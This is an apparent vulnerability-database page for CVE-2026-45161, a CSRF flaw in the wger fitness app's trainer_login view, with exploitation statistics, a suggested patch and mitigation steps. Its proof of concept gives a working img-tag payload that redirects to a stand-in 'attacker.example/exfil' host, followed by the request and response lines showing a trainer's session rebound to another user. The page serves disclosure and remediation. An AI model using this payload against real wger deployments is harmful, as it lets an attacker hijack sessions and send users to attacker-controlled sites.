Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍
🐍 PyPI
Not in CISA KEV
MEDIUM severity

CVE-2026-45161 — wger

MEDIUM

CVE-2026-45161 is a medium-severity (CVSS 5.4) Cross-Site Request Forgery (CSRF) vulnerability in wger. No vendor fix is recorded yet; mitigation options are listed below.

wger: trainer_login accepts GET - CSRF bypass enables forced session rebinding

Also known asGHSA-xf64-4pmc-h8qfPYSEC-2026-4317
Published
Updated
Affected
1 pkg
Patched
None yet
Exploits
None indexed
Exploitation data as of Oct 22, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

No confirmed exploitation observed yet

  • CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-45161.

EPSS Exploitation Probability

via FIRST.org ↗
0.1%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs0th percentile — riskier than 0% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

CVE-2026-45161 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 394,803 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

1 pkg affected
🐍wger

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The trainer_login view in wger accepts GET requests and executes django_login() without any CSRF protection, because Django's CsrfViewMiddleware only enforces tokens on unsafe methods (POST/PUT/PATCH/DELETE). An attacker can embed a single <img> tag on a malicious page; when an authenticated trainer loads that page, their browser auto-issues the GET with the session cookie, forcibly rebinding the trainer's session to an arbitrary user account.

Details

File: wger/core/views/user.py, approximately lines 161-210

# VULNERABLE - no @require_POST, no request.method == 'POST' guard
# CsrfViewMiddleware is bypassed because CSRF enforcement only applies to
# unsafe HTTP methods (POST, PUT, PATCH, DELETE)
def trainer_login(request, user_pk):
    ...
    django_login(request, user, backend='django.contrib.auth.backends.ModelBackend')
    return HttpResponseRedirect(...)

Because the view handles GET, Django's CSRF middleware does not validate any token. An attacker can place <img src="https://wger.target/en/user/2/trainer-login"> on any web page. When an authenticated trainer's browser loads that page, it issues the GET request with the session cookie attached (SameSite=Lax does not block same-site top-level navigation and subresource hops triggered by same-origin redirects). The server executes django_login() and issues a new session cookie binding the trainer to the victim user.

Playwright-verified in Chromium 147: the SameSite bypass occurs via a ?next= redirect chain - the initial cross-origin subresource hop is blocked by SameSite, but the server's 302 -> /user/login?next=... redirect causes the browser to follow a same-origin hop that attaches the cookie, and the subsequent redirect to the original URL executes the action.

Affected endpoint:

  • GET /en/user/<user_pk>/trainer-login -> wger.core.views.user.trainer_login

Suggested patch:

--- a/wger/core/views/user.py
+++ b/wger/core/views/user.py
+from django.views.decorators.http import require_POST
+
 @login_required()
+@require_POST
 def trainer_login(request, user_pk):
     ...
-    # Move ?next= handling to POST body - never use GET params for
-    # security-sensitive redirects
+    next_url = request.POST.get('next', reverse('core:index'))
+    if not url_has_allowed_host_and_scheme(next_url, allowed_hosts={request.get_host()}):
+        next_url = reverse('core:index')
     return HttpResponseRedirect(next_url)

Requiring POST ensures Django's CSRF middleware validates the csrfmiddlewaretoken on every impersonation request, eliminating the CSRF vector. Moving next to the POST body also removes the open-redirect surface (submitted separately).

PoC

Tested on wger/server:latest Docker image + Playwright/Chromium 147. Victim: trainer1 (gym.gym_trainer permission).

Step 1 - Attacker hosts malicious page:

<!-- evil.html -->
<img src="http://target/en/user/2/trainer-login?next=//attacker.example/exfil"
     width="1" height="1">

Step 2 - Authenticated trainer loads evil.html. Browser auto-issues:

GET /en/user/2/trainer-login?next=//attacker.example/exfil HTTP/1.1
Host: target
Cookie: sessionid=[trainer1_session]
(no CSRF token required)

Step 3 - Server responds:

HTTP/1.1 302 Found
Location: //attacker.example/exfil
Set-Cookie: sessionid=[alice_session]   <- session rebound to alice

Step 4 - Confirm impersonation:

GET /api/v2/userprofile/ HTTP/1.1
Cookie: sessionid=[alice_session]

-> 200 OK: {"username":"alice",...}

Reproducibility: 2/2 runs. Playwright browser verification confirmed SameSite=Lax is bypassed via the server's own ?next= redirect chain.

Impact

An attacker who can cause an authenticated trainer to load a malicious page (phishing email, malicious link, third-party gym management tool integration, ad network, comment section with images) can forcibly switch the trainer's session to any user account in the gym - without the trainer's awareness or consent. The trainer's browser is then operating as the victim user. Combined with the ?next= parameter, the post-impersonation redirect can send the trainer to the attacker's domain, amplifying phishing and credential-harvesting attacks.

This CSRF primitive is the delivery vector that unlocks the trainer_login scope bypass (separate submission) without requiring the attacker to compromise the trainer's credentials directly.

Affected deployments: every wger instance where gym.gym_trainer is delegated to non-admin users.

Severity: Medium (CVSS 5.4). Network-reachable, low complexity, low privilege (trainer role required as victim), requires page load (UI:R), scope change (attacker's origin via redirect).

Affected Packages

1 total
EcosystemPackageVulnerable rangeFix
🐍PyPIwgerall versionsNo fix

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for wger, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Remediation status

    No patched version of wger has shipped for CVE-2026-45161 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.

  3. Mitigate without a patch

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

Frequently Asked Questions

### Summary The `trainer_login` view in wger accepts GET requests and executes `django_login()` without any CSRF protection, because Django's `CsrfViewMiddleware` only enforces tokens on unsafe methods (POST/PUT/PATCH/DELETE). An attacker can embed a single `<img>` tag on a malicious page; when an authenticated trainer loads that page, their browser auto-issues the GET with the session cookie, forcibly rebinding the trainer's session to an arbitrary user account. ### Details **File**: `wger/core/views/user.py`, approximately lines 161-210 ```python # VULNERABLE - no @require_POST, no reque
O3 Security · Impact-Aware SCA

Is CVE-2026-45161 in your dependencies?

Find it across PyPI, including transitive dependencies.

CVE-2026-45161: wger CSRF (Medium 5.4)